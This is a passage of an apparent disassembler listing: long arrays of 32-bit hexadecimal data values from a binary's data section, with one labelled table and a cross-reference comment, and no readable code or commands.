		dd 8BF8AF57h, 5E33A231h, 0CA04EA69h, 76789AAAh,	0B6493AECh
		dd 0F39E9D70h, 305806FDh, 3FE59C8h, 0FB75D1Bh, 65C839BEh
		dd 0B4D13D33h, 33C8F38Dh, 273E2260h, 0B8FBCF0Fh, 8F05AC72h
		dd 1C60742Ah, 7B4F7ED4h, 55B1E8CEh, 4D96EE38h, 0DDDB3CB8h
		dd 0B987F4B4h, 97F3631Dh, 0D9590D2Ah, 9B9F50B2h, 20D41557h
		dd 0DDBA1303h, 61C46E28h, 0E6A801B3h, 288C8F08h, 0EF7E268Eh
		dd 0F2CC15F1h, 57BECFABh, 0E3C5CE12h, 0D25CEF7Fh, 0D6753E0h
		dd 1FE3BAD2h, 0DA97C474h, 0B1DE3EBBh, 119E35C4h, 60FEA0CBh
		dd 794832FDh, 0C3729E84h, 0CCFD5DF5h, 0EFF88E8Ah, 0B5011A24h
		dd 67B36DD4h, 0CC66B50Fh, 41BE1291h, 686D3031h,	1AC9039Eh
		dd 1CD3F877h, 93158B2Ah, 0D465A28Fh, 0E933D278h, 5DF057A4h
		dd 529EA5DEh, 5DE9ACFAh, 68FA11CBh, 9212A3EFh, 6101F410h
		dd 0A84D12CDh, 89E5CFDAh, 0ACD1C9EEh, 2B299D49h, 0C9A9E725h
		dd 23DC8D47h, 7A300CFCh, 41702DE4h, 5769340Ch, 98B34756h
		dd 8814E2DBh, 0C9BAA503h, 0F183B04Ch, 42E02737h, 965F2A93h
		dd 3FA2356Dh, 0B4D36030h, 6C283304h, 0B84D38D9h, 5D51ABE7h
		dd 0CC040CC3h, 8D190592h, 0B394BDFFh, 0BA725D1Bh, 0BBE53842h
		dd 40124880h, 8C7A8D2Eh, 0C870D07Dh, 0A7E606EBh, 246BEFCDh
		dd 930468C1h, 552E9055h, 19AB556Ah, 0C62A1AA0h,	28CE72DFh
		dd 0F2CB9C80h, 978B1BB7h, 2EFB2462h, 45324FCEh,	0B52043E1h
		dd 9D06F160h, 7E6B7FE9h, 37E0D6AAh, 8F4F1EC1h, 1A44DA22h
		dd 6724BED8h, 3B2CD4B1h, 456B8ECBh, 0C509EB70h,	26771698h
		dd 881EF873h, 55D5FC7Fh, 2DD90CC3h, 0ED6D9DD6h,	77F781FFh
		dd 498D9BF4h, 602A9B16h, 551D5D8Ah, 1B5F8D28h, 0A9D85E81h
		dd 0BF25DF26h, 322DEF41h, 9A115AD2h, 3FAC152Ah,	4CDB7FFDh
		dd 1908C3D9h, 0BB92C544h, 0FB12A080h, 3D74F92Ah, 0A9057D79h
		dd 69A25A15h, 0F7270D59h, 30836FE5h, 0EE336C80h, 0D14F3975h
		dd 8EB7C980h, 0BF5901D7h, 5A7AEDEFh, 807ED564h,	0D71F4C8Ch
		dd 0DEF8B389h, 0E3592EF0h, 7EA70262h, 4DD45C74h, 6699C36Ah
		dd 0B3E5BA4Fh, 7806F8A1h, 62A34CCAh, 7D851BEBh,	668F428Ah
		dd 0AFADD9F2h, 0C4FA654Bh, 22C7F646h, 29EEEC43h, 0A7EAD925h
		dd 6E34ED1Ah, 91A3E5C2h, 0A185D77Dh, 332C5201h,	33315E8Ch
		dd 0F2FBBEDFh, 0A6209884h, 94AB2D4h, 0D95C93C8h, 369126DEh
		dd 928FB55Eh, 2A82CB34h, 0BEDFB4F1h, 0EBB58E26h, 46AD7C4Bh
		dd 0C94DC284h, 0EDB6143Ch, 0C5D6B22Fh, 0AC9D6275h, 0AD334C57h
		dd 0A4BE63D2h, 60FA0F07h, 45A19D72h, 145E5299h,	0A65F2B0Fh
		dd 0DB3BEEE9h, 0DDDDAA30h, 0DAFD91ECh, 24667110h, 3476AFEAh
		dd 876679E2h, 0A0F964EFh, 34304F6Dh, 9A40B656h,	8F621FA1h
		dd 0DA53F8E0h, 195DD21Eh, 69777441h, 97D5F19h, 0EC838853h
		dd 1B52D7CDh, 0B52B9Fh,	0E304F475h, 0E1B05B90h,	46F14974h
		dd 0A90A5D23h, 0D92A26B3h, 0D8DC051Eh, 7D7C0CC6h, 1D2AE73Ch
		dd 35CC055h, 0AA5EB20h,	0AE17165Ch, 80AF6719h, 295BF303h
		dd 52AF526Eh, 0F40C1792h, 0FBA9AF62h, 8E8D43E4h, 96543ED2h
		dd 9CB427EDh, 0EACBFDA8h, 1097FBFEh, 3E9DE564h,	0A112BE56h
		dd 50807BA7h, 7A0BCF10h, 6E1DA547h, 0F0D76ED7h,	9301E54Ah
		dd 714E9680h, 436095BCh, 0FF4367h, 42E7E7A7h, 46AC232Fh
		dd 9756BE81h, 7F59771Eh, 3772F7C1h, 2B6D645Fh, 0C4EE17FEh
		dd 97099499h, 76BEDD5Dh, 0BD59F2h, 0AA32C78Dh, 0CC2A8A44h
		dd 0E2B1906Bh, 0A9A8030Fh, 5C3321Fh, 0B95E2765h, 7491B7E7h
		dd 0BDB1FB68h, 1CE65A11h, 97E18C2Fh, 206B1008h,	70D27ACCh
		dd 1DF1382Fh, 156D3AA1h, 46542668h, 0C55BE0A8h,	0FAA9B838h
		dd 0E3D64BDAh, 782BB4DDh, 7F91E628h, 591EB5FFh,	0E4CD7995h
		dd 0AF66B997h, 0D98A27DAh, 1D7DB549h, 70A34DFBh, 809A11F4h
		dd 0D60F698Ah, 0C1955F7Ah, 1C582A70h, 1E729A5Ch, 3CF4B542h
		dd 12B5185Eh, 699BEADDh, 0D7015FF2h, 0E09DBA74h, 0B2926443h
		dd 2360382Ch, 64C1FF12h, 9A575C65h, 78559ACCh, 2AADAAC5h
		dd 9B465A73h, 5EB0B2EAh, 48CDEAD2h, 69B471F1h, 750818C6h
		dd 1667C567h, 545FD7BAh, 369E4F66h, 93B464DDh, 0FA242322h
		dd 0BAF7CD85h, 0A37D8CF5h, 8BE47A58h, 9B929178h, 0A7F187F1h
		dd 0EC1F7F97h, 8B9EE5A7h, 3173929Fh, 0D602DF2Dh, 7AE00B21h
		dd 14B2E750h, 0AFBFDB29h, 93E7E260h, 0A475FCE3h, 7029CDACh
		dd 54A3F2DDh, 24B00DF9h, 0FFE4A552h, 692C92Fh, 3B30210Eh
		dd 6B1FB519h, 6AF976A2h, 17351E61h, 0B5D65DD7h,	0E6E2260Fh
		dd 22C28CE7h, 3E2C19E0h, 529B35E0h, 231A9C3Dh, 0BCE71396h
		dd 2F4EE4B5h, 10961BE5h, 2225BF74h, 36EDD6EDh, 8FB4B988h
		dd 3A4673B3h, 0FC458374h, 34B3FA20h, 0FFB85957h, 76847B00h
		dd 556D86D6h, 7A4E0A5Eh, 0B446B424h, 66122137h,	0EDE055CBh
		dd 0B00E962Fh, 37007281h, 9953E291h, 0FB27F540h, 24015EDh
		dd 0E67078F9h, 82D5DEA6h, 0DA549279h, 0F418D40Fh, 6ACE204Eh
		dd 7EEFC8CDh, 0D9902CE6h, 0FFAB1941h, 0A18F3B56h, 974C6A80h
		dd 0AAC38BCEh, 0D28B63ACh, 24999C83h, 0C3C2B770h, 26F1B605h
		dd 0B9DAE06Eh, 451AADEFh, 59B44CFCh, 0A2FCB4FBh, 0E0838033h
		dd 63149248h, 74617216h, 0BFBE117Ah, 0F0612088h, 0DEFBB6B9h
		dd 0ED8BAB9Fh, 358ED28Dh, 329BDD3Fh, 6FF35519h,	0E4225AD0h
		dd 0BB147268h, 9656FA89h, 0EF700B7Fh, 87E2E13Bh, 8893D784h
		dd 6D5BAAC5h, 0D1502F1Fh, 94F72554h, 6A6A5Bh, 0C144E5Fh
		dd 76FFF3D3h, 0FDBF9396h, 0E067BFBAh, 9CC92A15h, 92A9333h
		dd 474BDD59h, 0D9422256h, 0D721C24Dh, 263337A6h, 93AD3FB0h
		dd 0DD74F07Ah, 82CD4DABh, 0E111FECAh, 0AF9A8F07h, 9CE66302h
		dd 57EE9700h, 13073AF4h, 0A03DAF39h, 34C4B1A9h,	0D0165593h
		dd 4C71270Dh, 31844F67h, 36BBD98Ch, 3E2596B9h, 89A991CEh
		dd 0C11C1342h, 0D54B6881h, 0C1FABA5Eh, 2BA9692Ch, 0FD488BAAh
		dd 5248DC4Ch, 336E4E8Bh, 0B12EABC6h, 24C362Fh, 0FC02A3C4h
		dd 2CC20198h, 3D4A707Ch, 0BC56C470h, 58DE5740h,	83567517h
		dd 7D5514B6h, 420398A1h, 6125EB7h, 20F39079h, 69C7031Eh
		dd 46AFC83Bh, 9EF5B792h, 0AF523957h, 0B3216F37h, 66EEE48Ah
		dd 0E33644DAh, 1A245F21h, 5CAEA531h, 33757E36h,	0E182736Ch
		dd 0FDCDB589h, 0F36F12FFh, 2B45150Dh, 0B8B5941Ah, 0C7E35F25h
		dd 4181C5ACh, 0C7831D32h, 5D4D49C4h, 0B3F37AAAh, 0CC119439h
		dd 5EB9E31Ah, 40AAB47Dh, 448F1DC8h, 7A9EC5C5h, 0DFE29236h
		dd 2AE675D8h, 826ADBE7h, 60BA2530h, 2BEA6211h, 375AC304h
		dd 0B7C85AF7h, 21319FC2h, 10FA0CBh, 91FB9BDFh, 0A588A2A3h
		dd 0BA2CB1DEh, 8363104Ch, 88963B05h, 3D4E565Eh,	0FEE16500h
		dd 179BD75Ah, 8CE26BBFh, 261D8D8Dh, 0B234A073h,	0C7892E64h
		dd 0C74DC796h, 79DF210Eh, 98D0FACCh, 15A63E09h,	39E0848Eh
		dd 0D9A7F0E6h, 0D9BDD559h, 0FAFD401Ah, 980EC1Ah, 259B45FBh
		dd 85A9C5DFh, 1BA1E9ACh, 10FE2127h, 0FA38440Eh,	697E798Fh
		dd 0F6FB4C49h, 789A2D9Dh, 1D651F22h, 78E045C3h,	0FBC087F6h
		dd 715C6E4Eh, 1CBD020Dh, 703B5367h, 40EF4591h, 0F4196DABh
		dd 3D8543D7h, 4C2DA051h
		dd 48815947h, 2884C240h, 2989C432h, 0BDE76F57h,	0D7F8C754h
		dd 0F690575Ah, 86B1C220h, 71F916C7h, 0D9BEE4A8h, 11CA2FAFh
		dd 89D7A825h, 0B5B7511Eh, 6959E83Bh, 0C531F3D7h, 4E5ACEBDh
		dd 0A6DACEA4h, 0AB2FF1C3h, 0C74BD12h, 0C7FDD7ACh, 7A2B3569h
		dd 17357B00h, 0D76359AEh, 1435EB1Eh
dword_43005C	dd 2489F992h, 42ECAF3Dh, 3978BCD8h, 4D2A5C17h, 5A62AA46h
					; DATA XREF: .data:0041A720o
		dd 0FEDF4C9h, 0F17C2E7h, 51B4DF73h, 0B30022AEh,	32534E65h
		dd 7125A3Dh, 7C1592DBh,	0E0008165h, 466D2143h, 61A7864Bh
		dd 135256EBh, 0EF4AF23Bh, 517AC833h, 0F355A29Eh, 5FA77196h
		dd 0C1689B2Dh, 615EB937h, 0BC1BFCFBh, 9568DCFCh, 0EB3BA6E1h
		dd 95BB06AEh, 0DF6C9CB5h, 0B9772F80h, 24AC9587h, 0B8D5DFFCh
		dd 0B5F61561h, 1DCB1078h, 8B6942C3h, 0EAD8AA34h, 64187FABh
		dd 63A4AF11h, 1D78F5A2h, 8A99FE40h, 0F100FF08h,	0E049246Eh
		dd 80CCC18Fh, 512522EAh, 0EEA2335Dh, 7B30ED63h,	5A82EF41h
		dd 0E1D7E85h, 0C806F796h, 0BB7831A6h, 0C53925B2h, 2CFB7D32h
		dd 5F99A809h, 8CA17935h, 0EA8C0336h, 0CDA4B716h, 82367A7Fh
		dd 0CA68D8CFh, 90969292h, 0E30B5ABDh, 7F001007h, 0B5C4607Fh
		dd 0A434F1DFh, 0D3579F19h, 382914AEh, 9B1F56BDh, 0E2E4C84h
		dd 0A2739A71h, 548A56DCh, 0A35F1551h, 69DC396h,	542CB6E7h
		dd 9567B213h, 923FFF57h, 0C3E3917Bh, 93848750h,	4972A9C8h
		dd 0DA6F99C0h, 1DCF1DBh, 0C1CDD077h, 6B176850h,	0CE76BCD4h
		dd 128004D2h, 0D9F36D70h, 0C3AB078Dh, 48804A1Bh, 5388900Bh
		dd 0D4EC321Fh, 8BC25E87h, 8D230386h, 0E2E13D28h, 71B39419h
		dd 7CE81E60h, 5FB92326h, 0D8D85586h, 0B288BB61h, 0CD19E94Dh
		dd 0FD393691h, 8CE89F9Fh, 0D7485F16h, 23F18466h, 8CA527D4h
		dd 0E60735A1h, 0CB13E046h, 0B79E5783h, 792DF5D9h, 276B2720h
		dd 3A311028h, 0CAB4CD1Eh, 0EA360220h, 0A5A4DFB7h, 9B62486h
		dd 5DD8317Dh, 0AFBA41BCh, 0A6392E63h, 1E3575D2h, 5DE9B6A6h
		dd 3F98B3B1h, 0EF3FA61h, 24B2718Fh, 8EC7BD36h, 0A407A3DAh
		dd 9363868h, 9154BAE3h,	4FCD5063h, 8643D058h, 8E1501ADh
		dd 62452B4Eh, 0FCC04B4Fh, 0CA43ACA7h, 803FAD29h, 43A2158Bh
		dd 12880A0Fh, 0C0299194h, 0DD7B037Ch, 8A17B3BBh, 5390A6B3h
		dd 0B1975ABFh, 0C360C765h, 67512501h, 95888661h, 0ECF147D5h
		dd 14A0D180h, 5C3A673Fh, 0D587831Ch, 28579013h,	0EB7B2729h
		dd 4B5F9F14h, 11DDFD8Dh, 6548B1A3h, 454C83BAh, 2F0EBC06h
		dd 3B7DCEF6h, 0B1788A34h, 0C1A273B3h, 0CC70D7ECh, 0DB5844F6h
		dd 66BAC195h, 89907E18h, 97DA0237h, 0B0A978C2h,	0DE429210h
		dd 78CE8FB1h, 758DEA4Fh, 0E2A64EF5h, 7129F10h, 94A333DCh
		dd 6C70C85Ch, 1EC52760h, 0A8F41354h, 0ED275F45h, 974A5F9Bh
		dd 0FE9ABC85h, 234EF9E4h, 9E153CB2h, 0DC87FBF9h, 4B71362Fh
		dd 101828C5h, 0B772B9ADh, 22245BE8h, 80AC1122h,	0E776B93Ah
		dd 3CD8F190h, 87440B29h, 0C6BA73FEh, 1CDEADFCh,	0D125688Ch
		dd 0D03D804Fh, 750F4CCBh, 0DDB842C7h, 0EFD272C5h, 49466034h
		dd 8CE2F194h, 1B8AF328h, 869AD228h, 0A225040Bh,	967C458Dh
		dd 7BCECEFCh, 623FBAD9h, 20AE7D5Fh, 616FF484h, 223CF71Bh
		dd 0D0290100h, 49B0435Ah, 6EFAC046h, 15BA9474h,	0F1573C54h
		dd 0F10F413Ch, 0D200AB3Dh, 8EDEAC2Ah, 0F7F6DDD8h, 349F7C95h
		dd 51DC226Dh, 0FD1028B3h, 4A4BC454h, 0B371B470h, 7111166h
		dd 46B2AE34h, 0CD254273h, 1F99A29h, 77DC5F95h, 5D5A7F24h
		dd 0B8905333h, 5426D898h, 5AFA31E5h, 49E71048h,	99ECB6C7h
		dd 0EFC8B3AEh, 0A069274Ah, 812165F6h, 0B5491D31h, 0B77A0F3h
		dd 5E88C03Fh, 0DC762DE8h, 745BD543h, 45FEE3D9h,	66C8F17Ah
		dd 7E59CFBDh, 25426CBEh, 0E76DCBB2h, 0BA1D6704h, 1A29F7DBh
		dd 0C33B1700h, 54CB6064h, 778BBF0Eh, 0BD083029h, 80720C55h
		dd 4EC8B1F3h, 0FCC1103Eh, 570C5770h, 0F5BBEE29h, 0D7051418h
		dd 8F5E0932h, 3B151C38h, 9A0F456Dh, 0B2E1C384h,	0E40479B3h
		dd 295A290Bh, 2C09B617h, 3CCCBFA1h, 0FF888B4Fh,	96B9FA8h
		dd 0B4BDFFBDh, 253F71F6h, 0F00CD5F4h, 466FAB94h, 42E2A02h
		dd 2BE6F63Eh, 6F8EF532h, 9109D85Fh, 0C8C35AC8h,	5765061Eh
		dd 5AD1FF11h, 4DF2B058h, 816BDA18h, 0FA57761h, 32F71C94h
		dd 0BDEC77A2h, 6C41A8D7h, 0D61E4C46h, 79218801h, 5658DBA3h
		dd 8D384FFDh, 64C40A46h, 47FA1A40h, 11B7D97Dh, 23834BFEh
		dd 4098CFBh, 9C7515D4h,	444EF408h, 2EDDFA9Eh, 2E3F94D1h
		dd 0E2D56C9Bh, 2795D83Bh, 0AC7C3C9Ah, 0F25782AEh, 0F81CAC70h
		dd 35A1D861h, 6499C279h, 5ADBCF2Dh, 0F621038Eh,	91090267h
		dd 7F04CA3h, 0B175939h,	56F5465Bh, 9D693D18h, 4A93FE14h
		dd 69BE6205h, 0AA265AEBh, 259DD607h, 0C23B3F85h, 7634A308h
		dd 18723D5Ch, 0FF7AB041h, 13CA3CC5h, 9EE8AA67h,	590C4982h
		dd 0B879BF53h, 60736A56h, 5D6C7AD6h, 0FCAEDDA7h, 43732A96h
		dd 2F7B7172h, 81C7FAFEh, 0E164CFC7h, 287E8F64h,	0B0C6030Ah
		dd 91F07C65h, 9AF23EBBh, 36CF2EA5h, 0BD0324E3h,	0E426EF2Bh
		dd 861B1399h, 2D7426F6h, 1C53844h, 6BCD9E5Dh, 0B6B6880Bh
		dd 0F855A0Bh, 5BB4A0ECh, 1D1297B4h, 4FD69B9Bh, 0F31A0879h
		dd 0C0EAE88Dh, 80AD9Eh,	1A970E09h, 0FB3D7765h, 0CC769AC9h
		dd 0AE34FD32h, 0F64716A2h, 5A3003ABh, 0A5423AE5h, 8B35DE89h
		dd 0EF56C8E2h, 9D4D22B9h, 2A118474h, 0D07CDA36h, 0FEE5BC2Ch
		dd 775156EDh, 401C5BA0h, 7473214h, 0F06F9B87h, 0C618A1EEh
		dd 0CDC4BDC8h, 747114ECh, 735A7529h, 0E6711326h, 3F7F9CEAh
		dd 0DDEBBB77h, 64FBF727h, 5D80A3E2h, 0DC153A4Eh, 0ADCC9B19h
		dd 0DA6CDDh, 2882133Bh,	0C40056h, 0FE2729FEh, 0BC7981A7h
		dd 0D84D3B5Eh, 0DDD10205h, 3B6113D7h, 0DDF7367Ch, 423CC884h
		dd 84E79C64h, 8DB08AA8h, 0A17CC6F4h, 65689E12h,	0D52B0D2Ah
		dd 52532873h, 506DB8CAh, 0A9E1C085h, 8BCF0F8Dh,	0ECB76B00h
		dd 61A7E98Eh, 0CC2C0849h, 4B7CE982h, 0E0E83679h, 13FD5BADh
		dd 165B2EE8h, 0C91AFAB0h, 6ABB4E37h, 2A33B089h,	0EA8C93E8h
		dd 646A0B4Bh, 0FDA8D347h, 4697753Ah, 0D0AE1DAAh, 0D654F979h
		dd 0F880436Bh, 0E9FD332Eh, 0AE4F2D1h, 0A6A071D3h, 32B5A930h
		dd 0EB9C1399h, 1AC9F03Dh, 0BAB9EB39h, 1F451B84h, 0AA53040h
		dd 0CADDDF94h, 6D3043F2h, 3B0682E3h, 2783AA86h,	8A4C6602h
		dd 79CEF5A1h, 6AF1A910h, 782A4A7Ah, 90B88E03h, 0CAE5F598h
		dd 33A67D90h, 32C6B1CEh, 65EFE881h, 1215A537h, 0A637D551h
		dd 0D6106F94h, 300ABD4h, 5A6A3C47h, 6F213A3Ah, 0A88556ADh
		dd 41E9CC4Bh, 7514F7B3h, 0F49E7EE1h, 850B69E0h,	0E7089AFEh
		dd 0FECEF905h, 0F9729711h, 0A53FA43Eh, 0A0898A05h, 1E2F36Dh
		dd 0F66889D2h, 3B6D33B0h, 3B23E1BCh, 3C78B1E2h,	92773406h
		dd 0E8B58899h, 863B9E20h, 415780ECh, 6F077258h,	9F026235h
		dd 0E70D2DBCh, 2B95430Eh, 0F71593F0h, 0C9F34BF2h, 58BEB7B1h
		dd 6ECF741Ah, 40C94D5Eh, 0D01D0079h, 0B7E79942h, 0B8863CCCh
		dd 5DB42CBEh, 0B0E8BAFh, 75593B46h, 0E6CD4B57h,	3ABE2221h
		dd 527879Bh, 0B77DCB09h, 0CC2F8EAFh, 0B79031F9h, 36DB6BEDh
		dd 23518164h, 0CDB3C4E7h, 0BC7C1FD1h, 38F59EDFh, 77D83ECCh
		dd 22A8606Fh, 0DE4CA6EBh, 0D051ABD9h, 0F184FE7Ah, 0E3A9466Dh
		dd 507A7ECCh, 6771E950h, 8DEDE6FCh, 45C94BA8h, 0EBE31296h
		dd 0B9542659h, 18A7275Fh, 8ECB37FFh, 53F399C8h,	1E9E235Ah
		dd 31C05ED7h, 58233D62h, 0E430C214h, 41BA8D96h,	28C27910h
		dd 8F7AFD1Dh, 0A9CB042Bh, 0AE03E098h, 786483B5h, 0A5E35E42h
		dd 0F4A49171h, 2E97430h, 0ACC5FE62h, 0D961E51h,	61296D73h
		dd 4B02B0D7h, 7753B052h
		dd 0DC28FE46h, 0CCCC7DFDh, 7914D2E9h, 358CB216h, 0D0E2F616h
		dd 4D165413h, 518A8F8Ah, 0AE3400D9h, 0C335EB83h, 6E1800B3h
		dd 1B2D4015h, 0E279A48Bh, 5D3F0612h, 9ED5DC7Fh,	8449FB1Ch
		dd 0FC8604BBh, 3F09FB5Ch, 0D9C03B1Eh, 68BB0B9h,	51D394ADh
		dd 0E5FB199Fh, 513998BEh, 96395737h, 52FE5523h,	9116F3C8h
		dd 5C69A7B2h, 0CB4A5B12h, 4F39A9F3h, 0A4A99EA2h, 6802DD35h
		dd 3BF5465Fh, 0CEE2B36Bh, 0ED3CB3F5h, 961B7A75h, 7AE40DAAh
		dd 0A0A9AD8Dh, 9D28F345h, 3662CD7Bh, 0A8144FB0h, 0AC9DBDE0h
		dd 0E8A22A91h, 0FC052EBEh, 0D19BBA91h, 7B3E2F52h, 337EDF5Dh
		dd 1E1A6277h, 50AE3D06h, 4968ECE4h, 8B73055Bh, 9F3678D8h
		dd 0D58DD37Fh, 0AD4F444Bh, 0BFD26910h, 5BE7071Eh, 86A223D1h
		dd 11B0D42Ah, 0A33A8A16h, 450DDB4Fh, 96649C50h,	0CC7F8E63h
		dd 83F964Bh, 80A57AB7h,	0B0946AEh, 2A3EC0A2h, 8480FFEAh
		dd 5DA54A5Ch, 9A552563h, 7C9D1BB2h, 0C6A6179Bh,	8A726F36h
		dd 0CCF0D15Eh, 95FD1CECh, 0FA0C5591h, 0CEEEFA04h, 9EE08091h
		dd 3807F34Dh, 40AAB8Bh,	97F4BEA9h, 0AAFD57A2h, 1317A5EFh
		dd 81CBB03Eh, 8413D2DBh, 5C7DE532h, 9F994BECh, 71F67C26h
		dd 3893A07Ch, 7BA03ACBh, 0E50A1B3Eh, 71C62CD8h,	8E79460Eh
		dd 0C77D3B53h, 0EC78F4B9h, 6A8DEEFAh, 0D8FAC070h, 1BF6BB59h
		dd 0DDFF8CA6h, 0E3A6C985h, 0CB849609h, 0BAF02481h, 0DB1C005Fh
		dd 0C6DD257Ah, 0E6223E3Ch, 7D99004Bh, 61B47530h, 7AB49740h
		dd 8F996490h, 0BCB57C39h, 6601620Bh, 0B2BC4E73h, 4767D457h
		dd 0B7F0350Bh, 755362Ah, 73F7848Eh, 6D12972Dh, 7B2C8B58h
		dd 71BCE3FAh, 0B46D354h, 958DC75Bh, 0DF99223Ah,	1E29CEC5h
		dd 0C4CC9D86h, 0CFBED7ABh, 0E6ABEFD0h, 0D9E48E68h, 26C94146h
		dd 8976314h, 0EC7CC909h, 0F021BF32h, 41E40309h,	0AD5D71F4h
		dd 2FA3F032h, 8EE62127h, 0A728C307h, 0CA183E32h, 80118F47h
		dd 8CD4F70Ah, 0F211E6DEh, 0AF48C9A9h, 71777250h, 0AF75FF6Fh
		dd 0CCD292F1h, 935A5B77h, 608C1747h, 0F445E14Dh, 0EEA2AF8Ch
		dd 0FF29C179h, 497C8CDAh, 6626F478h, 0D18DAD83h, 0CB9274B3h
		dd 80209A5Bh, 69E466D7h, 45CB61B8h, 1341891h, 0DF0AE4E8h
		dd 0B4A577DCh, 0EC3D840Dh, 14537496h, 1E694B39h, 0C13D36E2h
		dd 0B3563021h, 77073A7Dh, 6FC3CC20h, 0E73DDC4h,	69ABF1F3h
		dd 0A66EDC05h, 7549DA74h, 62BE837Ah, 0A3F7656Eh, 0FE7C712Ch
		dd 1BB6A5C7h, 0DDEB8DB1h, 270C8DCFh, 8DFBEEFDh,	7C5AAC1Eh
		dd 0B389A63Ah, 0B895C44Fh, 64FDB96Ah, 0F43AB384h, 0E3FFB4EFh
		dd 0F4F6F515h, 0EF9A4C3Fh, 6A916A6Ah, 9827BFAFh, 3597242Ch
		dd 0CD4F2764h, 0C8B65D62h, 0D72556CCh, 94B943C3h, 9B5847D8h
		dd 6AB2C2A0h, 63C152E6h, 0B270E945h, 15D70351h,	43CEBB3Fh
		dd 0BDF1CE49h, 0B7880FBDh, 0C5B18849h, 0C1646B4Bh, 76D0AD6h
		dd 0EB238B57h, 6EB8F4B1h, 628E4D18h, 30F900BAh,	4EA4F109h
		dd 8092C5B7h, 138B427h,	145E75E1h, 6CBF104h, 46F7E7D3h
		dd 69A4C741h, 7A62C6B7h, 836755FDh, 0FEC7582Fh,	694602FEh
		dd 887AF69Dh, 0E78A073Fh, 1264E4B7h, 0D433D8A1h, 5C35BC4Ah
		dd 56F54328h, 0DEA91BD3h, 0FBE82BD9h, 725384E3h, 5FAAE765h
		dd 5C391A60h, 0C818946h, 3798BB5Ah, 0B0DE9FB9h,	4DD3B1E4h
		dd 0F6BDF323h, 202A7227h, 9CD09133h, 0F847A069h, 8DB23669h
		dd 6314D06Dh, 78238E9h,	9CA3D562h, 7A804E1Fh, 0D70ED0ADh
		dd 3E7C303Dh, 0B174F01h, 9AAF6B31h, 67C29FAh, 0F2B98887h
		dd 0B56292D3h, 5A14FF59h, 0AFD10FDAh, 10A171A6h, 2DA960F6h
		dd 49161A37h, 54F7A6AAh, 7E1BC37Ch, 0D9010744h,	0A3C2F438h
		dd 0DF7F9443h, 38ED7304h, 6528C17Bh, 9DA6C6B1h,	0A480BB6h
		dd 407138CEh, 0C78C9DC5h, 91610679h, 0FA6915CFh, 2737C7DDh
		dd 3AFBC22Dh, 0CD55FF36h, 82805562h, 56564F12h,	10B1A360h
		dd 9713188Eh, 4107FD2h,	2E39827Dh, 0CD277768h, 0C3C7297h
		dd 0A6637A7Bh, 6F01FAD9h, 0E5442502h, 0A3DA7EBEh, 36C364FBh
		dd 0F9909CCAh, 7CEA002Ah, 4EE41F54h, 2F32EF90h,	0A3D164A0h
		dd 0C1C1FA7Eh, 0F28AED57h, 75586697h, 63BD2F7Dh, 2820CD46h
		dd 0D6BE9CAh, 6EC423C3h, 956393ABh, 0FC30964Eh,	7DED5464h
		dd 953A04B3h, 72FDE9FCh, 28006934h, 85A3B61h, 68EC4EDEh
		dd 197D83F6h, 0F273003Bh, 5ABDF479h, 4AB9E247h,	21A8019h
		dd 40BE51C4h, 5FA731FEh, 82FCED90h, 0E958455Fh,	2066CB49h
		dd 4C08A3B0h, 0EF6D41CFh, 5E18C554h, 0BBD4AD94h, 0F360F210h
		dd 0FB989828h, 2829CEEEh, 1262A334h, 596C8942h,	983B17ABh
		dd 31D60E9Bh, 0A4389087h, 210D0478h, 0F188FA71h, 0C9FB3CD3h
		dd 0F5FD0437h, 6C34BC57h, 0B1A23CDAh, 0CD5531A4h, 22FD304Dh
		dd 9EA96681h, 4CA2723Dh, 955B41E2h, 0C64467FCh,	0E9A4E3DDh
		dd 0A52312C4h, 1050A09Bh, 9C787CADh, 0A9917902h, 0AA9E0B94h
		dd 0D28E15A1h, 25AE1182h, 0ACFCA5F7h, 0ABA30EBBh, 63C7DBD1h
		dd 0BB0A4826h, 0ABDAF0D2h, 0DDFBB0FDh, 0E43FB196h, 69A09518h
		dd 2ABB1494h, 8AC8FCFEh, 0EC27DDC9h, 7F0063D0h,	0D9F4ED86h
		dd 2B6668A1h, 741F3127h, 0C8C8067Ch, 8F3E3CFCh,	5EB567EDh
		dd 8547AF06h, 5F6F647Ch, 0E1A834A4h, 0E427292Fh, 6ACEF25Eh
		dd 87E85478h, 0C329D22Ah, 0ED2E11C0h, 26B9BAFDh, 31571A2Eh
		dd 2D4E296Fh, 679E73AFh, 52135A94h, 0A94B819Bh,	372D5D11h
		dd 43CF244Ah, 1891291Ah, 0EA821DFCh, 0F3E2CE67h, 7449B110h
		dd 32BD9D3Ch, 897703h, 6F0FFAC1h, 0FCAAC205h, 77EFEB8Ah
		dd 0C4690B2Ah, 0F4F43984h, 1F435ED3h, 3A9D4AB3h, 6940152Ch
		dd 126D7DDBh, 7CDA2661h, 0C21DE078h, 9E7CB2DAh,	0CC9F8F24h
		dd 0C0EC0DEAh, 21902F5Fh, 76EA309Bh, 3E3DFAF2h,	0F2044F69h
		dd 34EEC3F8h, 0B6610FD1h, 0B8767959h, 7E9DF069h, 48F8A4AAh
		dd 46279438h, 0AD7CDE26h, 0FC836DD5h, 6F29CAD8h, 3AF46E91h
		dd 0EC105ABFh, 57F4F09Eh, 0EDED89BBh, 0B88287D3h, 0C01140C7h
		dd 83DAB40Fh, 0D4019D29h, 53914088h, 9353EA8Ah,	37CE4B71h
		dd 8637B162h, 11C1F636h, 70F7FCF5h, 6B9EE6ADh, 69857E00h
		dd 7D6B920h, 0DC164B80h, 1B01B663h, 8131F0FAh, 8266EE74h
		dd 0E27DE76Ah, 0CE1F316Ah, 8C06BDB2h, 5808350Bh, 84AE0ED7h
		dd 987EDDA8h, 7EC3701Eh, 0ADF75783h, 4D3C9E8Fh,	0AEDA98EDh
		dd 0B3593CF3h, 0BEF42CAAh, 0DB92FD28h, 2447BBD1h, 34F7D810h
		dd 3674B334h, 5B88E899h, 0E8A0ADE0h, 0C9EC7AC5h, 45C8FBF7h
		dd 1F313DCAh, 0DC49D42h, 370E007Eh, 3EF59E8h, 7E088881h
		dd 30BA98D0h, 1D4814BFh, 0E4490B3Fh, 4DAE78AFh,	8BFB968Ch
		dd 3E6D7B6Fh, 0E6496299h, 2F5FC5F4h, 0D02855CFh, 717B159Fh
		dd 90F3ABD7h, 0C579D003h, 0D685205Ah, 0F117AB9Ch, 0A2212A98h
		dd 0A19C9359h, 0C25693DAh, 913FADA7h, 5CCB50F1h, 72D35Ch
		dd 95227619h, 18FCDEC0h, 8729583Dh, 0F62C79E3h,	67D2EDDDh
